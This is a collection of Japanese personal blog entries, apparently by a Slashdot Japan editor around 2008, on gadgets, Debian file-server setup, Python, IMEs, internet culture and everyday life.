  • 「憲法9条2項(軍隊・戦力の不保持)の改正」

  • 「小中学校の式典での国旗掲揚・国歌斉唱」

  • 「小中学校での愛国心教育」という


  • この1年の間に、政治や社会の問題について下記のいずれかのアクションを取ったことがある

  • 「自分のホームページに、意見や考えを書きこんだ」


  • 「他の人のブログに、自分の意見や考えをコメントした」

  • 「電子掲示板やメーリングリスト等で議論に参加した」







    の3点すべてに当てはまる人を「右翼」としている。ここまではまあなんとか納得できよう。しかし、「2ちゃんねるの利用割合」については上記「2.」の条件を「5つの項目中3つ以上賛成」に緩和して議論している。この条件で「右翼」と定義できるかは微妙なところではないだろうか。



    だいたい右翼というのは「排他的ナショナリズム」な人たちのことを指すわけであって、そういう人は米国も嫌いだと思うのだが……。また、中国、韓国が嫌いというのは歴史的経緯や最近の食品への薬物混入事件、竹島問題、それぞれの国の反日活動などがその要因であることが多いと思われるため、これをナショナリズムの観点に置き換えて判断するのは間違っていると思う。



    ただ、2ちゃんねるはネガティブなことはブーストされて拡散するため、韓国・中国が嫌い、という流れに乗せられてしまう人が多そうな気はする。


Permalink | コメントを読む | hylomの日記


イーモバイルのプリペイドって結構高い?

今度の連休にちょっと出かけるため、通信手段を確保したいなぁ(iPhoneだけだとちょっとアレだし)と思ってイーモバイルのプリペイドを検討したのだが、公式サイトのオンラインショップだとUSBモデムが「アウトレット」でも17,980円?。1万円分のチャージ付きとのことだけど、チャージの有効期限は90日しかない。そして、90日で1万円を使い切ることはたぶんない。


これだと普通にUSBモデムを契約したほうがよいんだろうなぁ。もしくはiPhoneをjailbreakするか。


Permalink | コメントを読む | hylomの日記


富士通、HDD事業をWesternDigitalに売却の日経報道、富士通は否定

日経に ハードディスク駆動装置事業、米大手に売却へ 富士通という記事が。新聞の1面トップだけど、富士通は否定。


さあどうなるんだ。確かにWDは2.5インチは弱い気がするが。

Permalink | コメントを読む | hylomの日記

Pythonのドキュメントシステムに困る

Pythonをちょこちょこと触っているのだが、いまいちドキュメントの探し方が分からない。


Perlだと、perldocコマンドで文法から演算子、関数、チュートリアル、FAQ、そして追加したモジュールのドキュメントなど、ほとんどのドキュメントが読める(perldoc perlでドキュメント一覧も表示できる)のだが、Pythonのpydocは触った感じではモジュールのドキュメントしか読めないようだし、さらにドキュメント自体が非常に簡素なものしかない模様。



とりあえず標準モジュールについては/usr/share/doc/python/html(Debianの場合ね)以下のhtml形式ドキュメントを読めば良いようだが、ターミナルでCUIで使っている場合HTMLってものすごく読みにくいのよね……。



うーん、困った。結局WebブラウザでPythonのWebサイトのドキュメントページを見ていちいちチェックしているのだが……。CUIでLanguage ReferenceとかLibrary Referenceとかを簡単に読むことはできないんですかねぇ。Pythonのサイトからtext形式のドキュメントをダウンロードしてlvで読めばよいという話なのだろうか。


Permalink | コメントを読む | hylomの日記


/.JのGoogleニュース登録、とりあえず失敗

/.本家はGoogle Newsに登録されていることだし、/.JもGoogleニュースに登録してもらおう、という話になり、とりあえず自分が代表して登録申し込みをしてみました。


結果。



「現在、Googleニュースでは正式な編集作業過程のないニュースサイトを掲載することができません。」という返事が来ましたorz



そうか、/.Jは正式な編集作業を行っていないニュースサイトだったのか……、って、そんなワケはないのだが(多少のミスはありますが)。ちゃんと複数の編集者が記事を確認しているし。



内容がダメとか、取材していないとかが理由だったらまだ納得できるのだけど、「編集していないからNG」はちょっと納得いかない。/.Jの一般への認知度の低さを感じる出来事でした。



一応、こ「/.Jは編集者が記事内容の確認および編集を行って記事を掲載しております」と強く主張した返信メールを送ったけど、Googleだし期待できなさそう……。

Permalink | コメントを読む | hylomの日記


モノポリー初体験

週末友人宅でゲーム大会が開催されまして、初めてモノポリーをやりましたよ。


最初は結構な現金が配布される上、序盤は飛び交う金額が少ないので「こんなんで破産ENDなんてあるわけないじゃんwww」とか思って舐めてたらあるプレイヤーが家を建てまくって、速攻で他のプレイヤーは全員破産に追い込まれました……。



奥深し、モノポリー。ちょっと修業しよう……。


Permalink | コメントを読む | hylomの日記


46個目のメルセンヌ素数発見、って何で今頃記事になってるんだー

時事ドットコム:過去最大の素数発見=1297万ケタ?米大学」とか「 CNN.co.jp:史上最大1300万けたの素数発見 UCLA」とかで最近記事になっているんだが、 【美素数戦麗舞(せれぶ) メルセンヌ】45番目と46番目の発見を正式発表【桁数はスーパーデカイん】 – TarZ の日記にあるようにすでに15日付けでリリースがでていたんだわな。


ということでタレコミ化はなしにしておこう。

Permalink | コメントを読む | hylomの日記


森博嗣氏、初期不良iPhoneをSoftbankの窓口に持っていたら対応してもらえなかった事件

GIGAZINEによると、作家の 森博嗣氏がiPhoneの初期不良に遭遇して、Softbankの店舗に持っていったら「jailbreakしたんじゃないの?」と疑われて対応してもらえず、結局APple Storeに行ったら初期不良ということで交換してもらえた、というブログを書いているらしい。


うーん、対応が激しくアレだ。しかし/.のネタにするにしてはちょっと古い……。残念。

Permalink | コメントを読む | hylomの日記


フレッツが自宅マンションにもくるらしい

先日チラシが入っていたのだが、どうも自宅があるマンション(といっても各階に1?3戸しかない小規模マンションなのだが)でフレッツ光が引けるようになったらしい。


うちはNTT基地局から数kmという場所にあり、下りについてはADSLでも体感的に問題がない位の速度が出ているので、そこまで光にしたいという欲求はなかったりするのだが、たいして値段が変わらないところを見ると変えてもよいかなぁ、とか思ってしまう。でもプロバイダを変えるのは面倒くさい。Yahoo! BBがフレッツでプロバイダやってくれればよいのに。



つぅことで検討。しかし、チラシには「いつから使えます」というのが一切書いていなかったのが微妙。もしかして最小契約戸数に達するまで待たされたりするのだろうか。



# プロバイダを変えてもよいかなと思った理由が、Yahoo! BBの無線LANパック(¥900/月)を解約したいけど無線LANアダプタを送り返すのが面倒くさい、というだけだったりする

Permalink | コメントを読む | hylomの日記


ハリーポッター、三省堂で割り引き販売中

ハリーポッターと三省堂の割引販売 – 60坪書店日記」より。


三省堂が、ハリーポッター1?7巻のセットを通常価格(1?7巻を個別に買った場合)の約3割引で販売しているそうな。



ハリーポッターは買い切り商品で返品できないので有名で、過去に大量の不良在庫が発生した例もあったわけですが、その辺の対策というか在庫処分というか、て感じですかね。



しかし、ハリーポッターってどの書店も注文した数だけちゃんと納品されたんでしょうかね。普通の書籍(特にベストセラーになった本)は注文数どおり書店に入ることが少ないらしく、そのため基本的に多めに発注、余ったら返品、というスタイルで書籍の流通は回っているわけで、注文数どおり入らないのに返品禁止となると相当書店はつらいんじゃないですかねぇ。



しかし、ハリーポッターの版元さんはハリーポッター以外に目玉商品がないという話らしいので、ハリーポッターが終わったら色々大変そうですな。某ASCIIは買い切り販売で書店に嫌がられて没落したという話も耳にしましたが。


Permalink | コメントを読む | hylomの日記


人力検索はてなの「プログラミングに詳しい人に質問」がアレゲ

人力検索はてなで、「 プログラミングに詳しい人に質問です。大学でプログラミング経験の学部一年生向けにプログラミングを教えることを想定しています。週1コマ×半年程度の限られた時間で、プログラミングとはどういうものかという本質を教えたいのですが、どの言語を使うのが適切でしょうか。」という質問が。


これ、非常にアレなのが「まずは「プログラミングに詳しい」かどうか判定するための質問です。正しいものを選んでください。これに答えられない方は解答をご遠慮ください。」というのがあるあたり。以下の中から正しいものを選べ、ということなんだけど、何でSchemeを出したんだろ。

Schemeは1.5からオートボクシングの機能をサポートした

Schemeはインデントによってブロックを表現する
Schemeは多くのレンタルサーバに標準でインストールされている
Schemeでは関数がファーストクラスのオブジェクトである
Schemeの文の終わりはセミコロンである
Schemeは純粋関数型言語であり、副作用はモナドでくるむ必要がある
Schemeは型に厳格なため整数の加算と浮動小数点数の加算の演算子が異なる
Schemeは関数の呼び出し時に括弧を省略することが出来る
Schemeのマクロ定義には#defineを使う
Schemeの言語仕様はキューマシンとしての実装に適しているため並列化が容易である
Schemeのブロックはbeginで始まりend.で終わる
SchemeのコンパイラとしてはGHCが有名である


いや、こんなの答えられる人本当に少ないって。だってScheme人口って他の言語に比べてかなり少ないんだぜ。
Javaは1.5からオートボクシングの機能をサポートした

Pythonはインデントによってブロックを表現する
Perlは多くのレンタルサーバに標準でインストールされている
JavaScriptでは関数がファーストクラスのオブジェクトである
Cの文の終わりはセミコロンである
Haskellは純粋関数型言語であり、副作用はモナドでくるむ必要がある
Perlは関数の呼び出し時に括弧を省略することが出来る
Cのマクロ定義には#defineを使う
Rubyのブロックはbeginで始まりend.で終わる
HaskellのコンパイラとしてはGHCが有名である

までは分かるんだが、言語仕様は排他じゃないんだから、これらの条件にSchemeが当てはまるかもしれないし。

そして
Schemeは型に厳格なため整数の加算と浮動小数点数の加算の演算子が異なる

Schemeの言語仕様はキューマシンとしての実装に適しているため並列化が容易である
は全く思いつかない……。

で、これを受けて [西尾泰和のはてなダイアリーにて「Q1ってそんなに難しいですか?簡単な問題のつもりだったんだけど。」といわれていますが、皆さんはどう思われますか?][2] なる質問ができていたw

\# ちなみに自分は関数型言語は嫌いです。よってHaskellもSchemeも嫌いです。Emacsをいじるたびに、なんでEmacsはLISPという面倒くさい言語を採用したんだとか思いながらヒーヒー言ってます。

ということで、プログラミングを学ぶ人にお勧めしたいのはアセンブラですw

Permalink | コメントを読む | hylomの日記


月額制ATOK

/.トップに月額制ATOKのバナーがでてますね。自分は月額制の開始とほぼ同時に申し込んでしまいましたが。現在、まともに日本語IMEで商売しているのはJustSystems位なので、半分お布施でもいいやと思って申し込みました。


MS IMEからATOKに変えて、特に何か変わったような気はしないのですが、日本語変換でむかつくことは相当減った(というかほとんど無くなった)ので、たぶんMS IMEよりも賢いのでしょう。前にも書いた気がしますが、ATOKの導入時にはIMEの辞書をチェックして間違って学習されている単語を削除してから辞書のインポートをすることをおすすめします。



あとは用法を微妙に間違っている場合に指摘してくれるとうれしいのですが……(笑)。



# 以前/.の掲載用テキストをWordの校正機能にかけてチェックしてみたことがあったんだけど、あまりにも面倒くさいのでやめました

Permalink | コメントを読む | hylomの日記


Debian 4.0のnetatalkは、そのままではLeopardでは使えない

DNRH-001に4GのCFカードをCF-IDE変換基板経由で接続、システム用のドライブとして設定。先にUSBメモリにインストールしていたルートパーティションをコピーしてスワップパーティションも作ってgrubインストール→fstabとmenu.lst書き換えて設定完了。


そんなに高くない133倍速のCFだけど、体感的にはUSBメモリよりも全然速くなりました。



で、やっと本来の目的であるファイルサーバー化に着手。Mac OS Xだと

  • NFS

  • Samba

  • AFP



    などと、ファイル共有に利用できる選択肢が多いのでどれを使うか迷ったんだけど、NFSはセキュリティ的に微妙(無線LANを別セグメントに置いていないので、かなり厳密に設定しないと侵入し放題に)、Sambaはパーミッションが微妙、ということでAFPを設定。



    しかし、基本的にはapt-getでnetatalkをインストールするだけでよいはずなのだが、なぜかMacから接続できない。調べてみると、どうもLeopardのAFPクライアントは平文でのパスワード交換に対応していない模様。しかし、設定ファイルではDiffie-Hellman eXchangeによる認証を有効にしているんだけどなぁ……、とsyslog見たら、「認証モジュールがない」とエラーがでているじゃないですか。



    うーん、そのままでは利用できない認証モジュールを利用するようなデフォルト設定ファイルって微妙じゃないですか?とか思いながら、結局netatalkを別マシンで自前でコンパイルして認証モジュールだけをコピー。



    手順は以下。

$ cd ~/

$ mkdir work
$ cd work
 
  # netatalkのソース一式取得
$ apt-get source –donwload-only netatalk
 
  # ソース展開してパッチ当てる
$ tar xvzf netatalk_2.0.3.orig.tar.gz
$ unzip -c netatalk_2.0.3-4.diff.gz | patch -p0
$ cd netatalk-2.0.3/
 
  # ~/work以下にインストールするように設定
$ ./configure –prefix=$HOME/work
 
  # コンパイル、~/work以下にインストール
$ make
$ make install
 
  # uams関連ファイルがインストールされる~/work/etc/netatalk/uamsディレクトリをコピー
$ cd ~/work/etc/netatalk/
$ tar cvzf uams.tar.gz uams あとはuams.tar.gzをnetatalkを使いたいサーバーに持って行って展開し、/usr/lib/netatak/以下にコピーすればOK。

あ、ちなみにもちろんnetatalkパッケージのバージョンは合っていないとNGです。

\# ちゃんとやるならパッケージを作るべきなんですが面倒くさいので適当に。

Permalink | コメントを読む | hylomの日記


予想外の「Bad Domain Name」に気をつけよう(下ネタ含む)

Funny Shit: Bad Domain Namesという記事を発見。


長い社名を圧縮してドメイン名にする、というのはよくある話。ところが、英単語をスペースなしで連結してしまうと、予想外に変な意味に取れてしまうことがある、というネタです。俗語に詳しくないと、一見して意味が分からないのがよりひどいところ。



ということで、上記のサイトに載せられているものを解説。



・「Who Represents」→直訳すると「代理人は誰?」。有名人の代理人を捜せるサイトらしい。ドメイン名は「www.whorepresents.com/」。ところが、「whorepresents」を「whore presents」と区切ってしまうと「売春婦のプレゼント」に。



・「Experts Exchange」→「専門家が交換する」。プログラマーのアドバイスのナレッジベースサイト。ドメイン名は「www.expertsexchange.com/」。これを「expert sex change」と区切ると、「性転換の専門家」に。



・「Pen Island」→「ペンの島」。ペンを扱うサイト。ドメイン名は「www.penisland.net/」。「penis land」と区切ると「男性器の地」に。



・「Therapist Finder」→「セラピスト検索」。「www.therapistfinder.com/」ですが、「the rapist finder」と区切ると「強姦魔検索」に。



・「Italian Power Generator」→「イタリアの発電機」会社。「www.powergenitalia.com/」を「power genitalia」と区切ると「力のある性器」に。



・「Mole Station Native Nursery」→New South Walesにある保育園だそうですが、「www.molestationnursery.com/」を「molestation nursery」と区切ると「セクハラ養成所」に。



・「IP computer software」→ドメイン名は「www.ipanywhere.com/」。これはちょっと不明。



・「The First Cumming Methodist Church」→「www.cummingfirst.com/」。「cumming first」とすると、「最初にイク」。



・「Speed of Art」→「www.speedofart.com/」。「spee do fart」とすると「友人がおならをする」。



普通に日本のドメイン名でもこういう危険はありそうですね。みなさん、ドメイン名を決めるときは俗語が詳しい辞書でよーく調べたほうがよさそうです。


Permalink | コメントを読む | hylomの日記


HTC Touch ProとTouch Diamond、ドコモとソフトバンクからも発売

HTC Nippon 株式会社(東京都港区、代表取締役社長 David Kou)は、
TouchFLO(TM) 3D 搭載のスタイリッシュ ケータイ、Touch Diamond(TM) および Touch Pro(TM) を、

株式会社エヌ・ティ・ティ・ドコモおよびソフトバンクモバイル株式会社からも

日本市場に投入することを本日発表します。

というニュースリリースが発表されていますねぇ。

Touch Pro、au独占かと思ったらほかのメーカーからも出るとは……。これでauが「うちもスマートフォン出しますよ」と言ってもなんだかなぁ、という感じだ。ドコモはともかく、ソフトバンクは法人向けだけでなく一般向けでも買えるだろうし。

auの庭にはきっとスマートフォンはいらないんだろうな……。

Permalink | コメントを読む | hylomの日記

Linuxでパスワードを忘れたらシングルユーザーモード?

一部では評判の悪い(笑)ライフハッカー[日本語版]で、「 Linuxのパスワードをなくしてしまったら…」という記事発見。


Linuxのパスワードを忘れたらシングルユーザーモードを使えばよい、という話なんだけど、Ubuntuってパスワードなしでシングルユーザーモードに入れたっけ? 以前ドライバいじっててブートできなくなったときはパスワード入力を求められた気がしたのだが……



# そのときはFedoraだったかも……


Permalink | コメントを読む | hylomの日記


/.訪問者が使っているブラウザ

Ars Technicaに A week of Chrome: Google’s browser gets 7% share at Arsという記事が載っていたので、気になって/.Jに来る人の使用ブラウザを確認しようとしてみたのだが、自分が見られる範囲では確認できなかった(汗)。


とりあえず、トップ10はこんな感じ。

  1. 46.67% Mozilla/5.0

  • 22.53% MSIE 6.0

  • 17.65% MSIE 7.0

  • 3.02% Opera 9.5

  • 0.50% Mozilla/4.0 (compatible;)

  • 0.45% MSIE 5.5

  • 0.42% Opera 9.2

  • 0.36% MSIE 8.0

  • 0.32% w3m/0.5.2

  • 0.27% w3m/0.5.1



    ChromeのUAは「Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13」だったので、Mozilla/5.0にカウントされている予感。そしてSafariもこれにカウントされている予感。



    しかし、IE6がまだ2割以上いるのね。

Permalink | コメントを読む | hylomの日記


iPhone Software 2.1はまだ(金曜日)

iPod touch用のiPhone Software 2.1はもうリリースされているので、iPhone用ももう出ているだろうと勘違いしていたのだが、金曜日なのね。無駄にiTunesアップデートしてしまった。


しかしiTunes 8、いきなりまた画面変わったなぁ。もちろん前の表示も可能だけど、結構びっくり。


Permalink | コメントを読む | hylomの日記


なんで「教えてくん」に皆構ってあげられるのだろう

Perl関連で思い出したのでちょっと書く。


某コミュニティサイトの某Perlコミュニティに、いわゆる「教えて君」的な人がスレッドを立てた。質問内容はCGIをUTF-8対応させたいという、とてもよくありそう話なのだが、アレなのは質問者がPerlについてほとんど知識も無ければ、学ぼうという気もなさそうなこと。とりあえず○○というサイトを見てその通りやってみたのだが動かない、助けてくれ、という感じ。



ソースコードをアップロードするから問題点を教えてくれ、という対応はまぁ正しいのだが、見た感じ一部を除いて大きな問題はなさそうだったので、問題点の切り分けができていない旨を指摘したらスルーされた(笑)。ちょっと面白かったので、「○○という関数の中身がUTF-8に対応できていないようだからその部分は文字化けする。そこを修正すれば動くかもしれない」的な指摘コメントをしたら、その後直接で「どう直せば良いのか全く分かりません、教えてください」的なメールが来た。その前後のコメントでヒントが多数挙っているんだから自分で調べてくれよ(笑)。



自分としてはuse CGIを使わずに自前でフォームをエンコードしていたり、関数内にHTMLタグがハードコーディングされているPerlソースは進んでいじる気もしないのでスルーしたのだが、意外にコメントがちょこちょこと付いていて、「Perlをあまり学ぼうとする気のない奴に構うなんて皆暇なんだなー」とか思った。



しかし、エンコード周りを自前で処理せずにモジュールで処理していればもっと簡単に修正できたのに。とりあえずサポートとか保守とかを考えると(そしてユーザーのためにも)、Old styleなPerlプログラムはさっさと捨てた方がよいですなぁ、とか実感。でもこんだけ普及してしまったらなかなかほか捨てられないんだろうな……。

Permalink | コメントを読む | hylomの日記


MP3を簡単に公開するならopentapeが便利

TechCrunch Japanese アーカイブ ? MuxtapeがOpenTapeで生き返る(非公式に)で紹介されていた音楽ファイル公開Webアプリ Opentapeを使ってみた。


これは以前あった(そしてRIAAの訴えにより閉鎖された)手軽に音楽ファイルを公開できるWebサイト「 Muxtape 」のようなシステムを構築するためのPHPスクリプト+リソースで、CGIとして動作する( Muxtapeについてはこちらが詳しい )。



インストールは、CGIとしてPHPを実行できるディレクトリに配布されているZIPファイルを展開し、Webブラウザからindex.phpにアクセスするだけ。初回アクセス時にはセットアップ画面が表示され、そこで管理パスワードを設定する。タイトルや画面の簡単なカスタマイズもブラウザ上で可能。



音楽ファイル(MP3だけでなくAACにも対応しているのかな?)はブラウザからアップロードしてもいいし、Webサーバーに別の手段(FTPとかSCPとか)でファイルをアップロードした後に所定の楽曲フォルダにファイルを放り込むだけでもOK。Webサーバーさえあれば、本当にものの5分で楽曲が公開できる。



UIもいまどきのWebアプリっぽくAjaxを駆使したものになっているし、スタイルシートとかいじれば外見のカスタマイズも可能。曲名など、楽曲の情報はMP3のID3タグなどから拾っているようだが、日本語も問題なく通った。



ということで、古くさいOld SyleなPerlコードで書かれた楽曲アップロード掲示板とかを使って曲を公開するならOpentapeの利用をぜひおすすめします。



# ちなみにPerlが古くさいというのではなく、日本語の「CGI集」的なサイトで入手できるPerl製のCGIスクリプトは非常にOld Styleなコードであることが多くて改造しようとすると非常に骨が折れるのでおすすめしたくないという話


Permalink | コメントを読む | hylomの日記


ポーランド・ウェバ市のMS Office→OOoへの移行、使っていたMS Officeはほぼ違法コピー

ウェバ市、OpenOffice.orgへ移行より小ネタ。


ポーランドのウェバ市役所で、Win98+Office97環境から、WinXP+OpenOffice.org環境への移行を行っているらしい。しかも、以前はOfficeのライセンスを1ライセンスしか購入しておらず、違法コピーを使い回していたそうだ。

「OpenOffice.orgを使う以前は、MS Officeの海賊版コピーを使っていた」と、市役所のIT管理者であるRadosławowi Czyżewski氏はJakilinuxとのインタビューで認めている。「我々は(MS Officeに関して)1ライセンスしか持っていなかった。私の前任者はコスト削減の面では有能だったが、リスクがありすぎる」

Office 2000以前ってアクティベーション無かったから、こういう例ってたくさんあるんだろうなぁ。最新版に環境を乗り換えようとしたらコストが前と全然違う!とか。

ついでにOSのLinux化も進めたいらしく、こうも言っている。
多くのユーザーはPCが起動して「Windows」と表示されれば問題ないと思っている。もしGNU/Linuxがインストールされていても、スタートアップ画面を変えて、デスクトップのアイコンのいくつかをうまく修正すれば、彼らはそれを『新しいWindows』だと思うはずだ

いや、それはさすがに気付くだろう……。でも、コントロールパネルとか無効にして起動できるアプリケーションの数も制限しているならバレないかもなぁ。

Permalink | コメントを読む | hylomの日記


先週の国民投票結果まとめ

先週の国民投票 「Googleストリートビューにあなたやあなたの自宅が写っていたら? 」、スラド民はGoogle Street Viewに対してあまり悪くは思っていないという結果ですかね。


トップは「アレゲなものが写っていないかチェック」28%、続いて「喜んで人に教える」19%、「別に気にしない」19%。多少は気にするが、特に自分に問題は内限り静観する、というのが大多数の意見のようです。



しかし、アレゲなものが写っていたらどうするのかも気になるところですね……。

Permalink | コメントを読む | hylomの日記


続x2・ファンレスPC(DNRH-001)

DNRH-001の話の続き、その2。


電源周りが不安だったのと、HDDをたくさん接続したかったので結局MicroATXのケースを買ってきてそこにぶち込んでしまった。mini-ITXって、ATX/MicroATXとの互換があったのね。普通にMicroATXケースに収まりました。買ってきたケースは AOpenのH340A-II 。6000円くらい。本来はHDD+FDD+光学ドライブというセッティングで使用するものなんだけど、FDDも光学ドライブもいらないのでうまくやれば最大3基HDD積めそう。



電源も移植しようかと思ったんだけど、ちょっと怖かったのでケースについてきたやつをそのまま使う。静音電源らしく、ファン付きなのにかなり静か。こっちのほうがケース内にエアフローできるしファンレスよりも良い感じ。



あとSATAのHDDもつなぎたかったので自分のジャンク箱に入っていたPCIのSATAインターフェイスボードを差して一通りの作業完了。



しかし、ケースまで買っちゃったらAtom搭載マザーを買った方が良かったんじゃないかなどと一瞬思ってしまった……、ファンレスのマザーボードが静音に貢献しているんだよと自分に思い聞かせていたりw


Permalink | コメントを読む | hylomの日記


自転車の消費カロリー

朝は雨が降ったり降らなかったりと微妙な天気だったので、数日ぶりに自転車ではなく電車で通勤。そしたら昼の腹の空きっぷりが普段と全然違う。


距離にして片道約5.6kmで、カロリー消費的にはおにぎり一個分くらいらしいのだが結構違うのね。そりゃ先週一週間雨だったので毎日電車通勤してたら太った気がする訳だ。


Permalink | コメントを読む | hylomの日記


続・ファンレスPC(DNRH-001)

DNRH-001の話の続き。


とりあえず分解してみたら、電源部の真上にHDDが設置される構造だった(汗)。そこそこ熱くなる上にファンレスなので熱がこもる訳で、これはちょっとHDDの劣化が進みそうでよろしくない。しょうがないので長めのIDEケーブルと電源延長ケーブルを後ろのPCIカード用の穴から外に出し、筐体の外側にHDDを設置することに。



しかし、よく考えたらむしろ電源を筐体の外側に出すべきだよなぁ、と思いつつしばらくはこの構成で。



今回はファイルサーバーメインで使いたいので、OSはUSBメモリにインストール。高速なものが良いなぁ、とReadyBoost対応のものを使ったのだが、体感的にHDDより全然遅い。結局Debian最小構成のインストールに30分以上かかってしまった。ただ、Debianのインストール自体には特に問題は発生せず。これはとりあえずしばらく様子見ですね。


Permalink | コメントを読む | hylomの日記


福田総理辞任、後継は麻生氏が有力

前の総裁選で、取り合えず福田さんが総裁に→支持率上がらず満を持して麻生氏が首相に、などと妄想していたんだがその通りになっちゃいそうな空気……。


いま首相になるというのは相当ババを引く感じがしてならない。でも麻生氏には期待はしております。


Permalink | コメントを読む | hylomの日記


ファンレスPC

2万円の小型ファンレス完成PC販売中、C3 1GHz+XP搭載で紹介されていたやつ、秋葉原のソフマップで14,800円だったので購入。


省電力、ファンレス、3.5インチHDD搭載可能と家庭用サーバーにするのにはかなり良さげ。ケースはかなりしっかりしているので、もしマザーが潰れてもmini-ITXケースとして活用できそうな感じ。



もちろんサーバーにWindowsを使う趣味はないので、HDD交換+USBメモリにDebian入れてとりあえずファイルサーバ兼DLNAサーバーにしてみようかな、と。



しかしこれでますますAlthlon 64 X2マシンの出番がなくなるなぁ・・・

Permalink | コメントを読む | hylomの日記


最近はウイルス対策ソフトを入れないと変人に思われるらしい

ということでウイルス対策ソフトを入れていないという話をしたら変な目で見られた上に「メールもネットもせずUSBメモリやLANも使わないというので無ければ入れないと危ないですよ」とまで言われた。


ここ十数年ウイルス対策ソフトなしでWindowsとMacとLinuxを使ってきたけど、一度もウイルスに引っかかったことないぞ(まぁ入れていないので検出されていないだけかも知れないが、とりあえず実害はない)。一応前の会社では必須だったので入れていたけど、3年間で無意識に引っかかったことは一度もない(わざとウイルス入りファイルをダウンロードしたりして検出させたことは何回もあったけど)。



という話をしても、きっと理解されずに余計変な人だと思われるので反論はせずにスルーしたのだが、どうも世の中的には、Webを見たりメールを見たりUSBメモリをPCに挿すだけで自動的にウイルスに感染すると思われている模様。いや、まぁ感染するのもあるけど確率は低いぞ。



むしろ、ウイルス対策ソフトを無自覚に使っていて「安全」だと思っている人のPCとファイルを交換したりするほうが怖い。ということでWindows機にはCalmAVでも入れておくかな。


Permalink | コメントを読む | hylomの日記


秋葉原ラジオセンターの謎のロボット看板が無くなっていたらしい

さらしる氏のサイトで知ったのだが、秋葉原ラジオセンターの大通り側、中央線の高架下にあった古いロボットの看板がいつの間にか無くなっているらしい。秋葉原デパートが無くなってあの看板も近代的なものに代わるとなると、なんか一気に秋葉原駅前が近代的様相になる気がしてちょっと悲しい。

Permalink | コメントを読む | hylomの日記


mixiエコーってプライバシー的にアレだよね

どうもmixiエコーは閲覧範囲を制限できないらしい。てっきりマイミク限定だと思っていたんだが、URL直接叩けば誰のエコーでも見れちゃうのね。日記の公開範囲指定もエコーには影響をしない模様。


さて、海外ではTwitterでプライベートダダ漏れ、という話も上がってるんだが、mixiは無意識的に個人情報を多く発信している人が多いためより危ない。昔仕事でmixiとGoogleブログ検索とGoogle Mapで個人特定できちゃうよネタを紹介したことがあったんだが、Google Street Viewも出たし、余計気を付けないとマズイ状況になってる気がする。



でもmixiうぉっちゃーにはきっとたまらないんだろうなー、この個人情報のダダ漏れっぷりが。


Permalink | コメントを読む | hylomの日記


ラーメンは体に悪い?

チキンラーメン50周年についたコメントで、 「インスタントラーメンは麺を戻したお湯をいったん捨てると添加物が減る」という話があったのだが、そんなにラーメンの添加物って体に悪いのか?


てか インスタントラーメン 添加物 でググるとアレな結果がw



油、塩分が多いのは当然なのだが、「リンが多量に含まれていて有害」というのがアレだ。リンってどのリンだよ! 有名なリン酸カルシウムだけでも こんなにある のに、具体的にどれがどう悪いのか教えてほしい。



# とかコメントで書くと確実にフレームのもと&オフトピなのでこっちに書いた



まぁ、脂肪と塩分が多いので気をつけよう、というのは確実に同意いたします……

# でも脂肪と塩分がラーメンの旨さみたいなもんだからなぁ

Permalink | コメントを読む | hylomの日記


OS Xのlocaleの謎

なんでOS X 10.5上でpythonで

locale.setlocale( locale.LC_ALL, "ja_JP.utf-8")

とやってから

locale.getlocale(locale.LC_ALL)

とやると、「(‘ja_JP’, ‘UTF8’)」が帰ってくるんだ?


「UTF-8」じゃないの? もちろん、setlocaleで「ja_JP.utf8」は与えられない。謎だ。



pythonが悪いのか?




Permalink | コメントを読む | hylomの日記

知っておくと便利なアレたまの使い方

アレたまについてちゃんとしたドキュメントが全然ないため、いまいち使い方がよく分かっていないんだけど、いじると色々と使えるような気がしてきた。


たとえば、右上に4つ並んでいるアイコンの右から2番目(「〓」のようなマーク)をクリックすると、記事をすべて展開した状態で表示できる。アレたま掲載日記を一気に眺めるのに便利。



また、その状態で一番左の「アレたま」をクリック後、その下のテキストボックスに「submission」と入力して、その右のバーを一番右に設定、「Filter」をクリックすると現在タレこまれているものが全件内容付きで確認できる。この状態だと現在付いているコメント数も確認できる。



アレたまにはなぜか/.本家やendgadgetなどの外部サイトのRSSフィードから拾った情報も突っ込まれているんだけど、これを除くには上記のテキストボックスに「-feed」と入力してEnter。



「人気」も便利らしいのだが、いまの感じだとこれならアレたま掲載日記を一気読みした方が良い気もする。



あと、編集者なら表示される個別記事の右上にある「編集」をクリックすることでその記事の掲載編集画面に飛べる。右上の「×」マークアイコンではアレたまからの削除(=タレコミ却下)が可能。スパム日記をアレたまで共有する手口が時々あるけど、そういうのはこれで削除できる。


Permalink | コメントを読む | hylomの日記


IMEの辞書にアレゲワード満載www

9月からATOKの月決め利用サービスが始まるのでそれまで待ってATOK入れようと思ってたんだけど、耐えきれずにとりあえず30日使える体験版をインストールしてみた。


そしたら変換効率は大幅にアップしたんだけど、ときどき変なカタカナ変換がされるのね。もしかしてと思ったら、どうもMS-IMEが勝手に間違って変換したものを辞書登録していて、それをインポートしてしまったのが原因っぽい。



しかもその辞書に並ぶ言葉がアレゲ感満載。クラウザーサンとかハットリクンとかはまだよいとして、アレゲとかハンゲリングベイとかメタボリックヒーローとかって一般人の言葉じゃねぇwww



ATOKを入れる際は、MS-IMEの辞書はインポートしない方が良いかもしれません……。

Permalink | コメントを読む | hylomの日記


Googleは「白人寄り」?

Google is too white – The INQUIRERによると、「Googleの検索結果は白人寄りだから黒人向けの検索サイトも作らねばならない」という意見があって、それを解決するための RushmoreDriveというサイトがあるらしい。


Googleのアルゴリズムって基本的に多数決だから、特定のグループに属する人たち向けの検索エンジンというのはGoogleの対抗馬としては成り立ちうるのかもなぁ。



Geek/Nurd向けの検索サイトなんかがあったら面白いかもしれない。

Permalink | コメントを読む | hylomの日記


今度はFriioでB-CASカード無しでの地デジ視聴を実現?

2chの情報によるとFriioのソフトがIP-CASに対応し、Friioの中の人がサーバーを立てたらしい。これでB-CASナシで地デジキャプチャできるうえ、BSの有料放送もキャプチャできるという報告も……。


つぅかこれ、コンテンツを廉価であげるからハード買ってね、というiPodと同じビジネスモデルだなぁ、とふと思った。さぁ、B-CASとかARIBはどういった反撃にでるんでしょうか。PT-1の件も含めて気になる気になる。


Permalink | コメントを読む | hylomの日記


「Pythonチュートリアル」読了

オライリーの「 Pythonチュートリアル」読了。そんなに分厚い本でもないし、入門書なので読みやすかった。


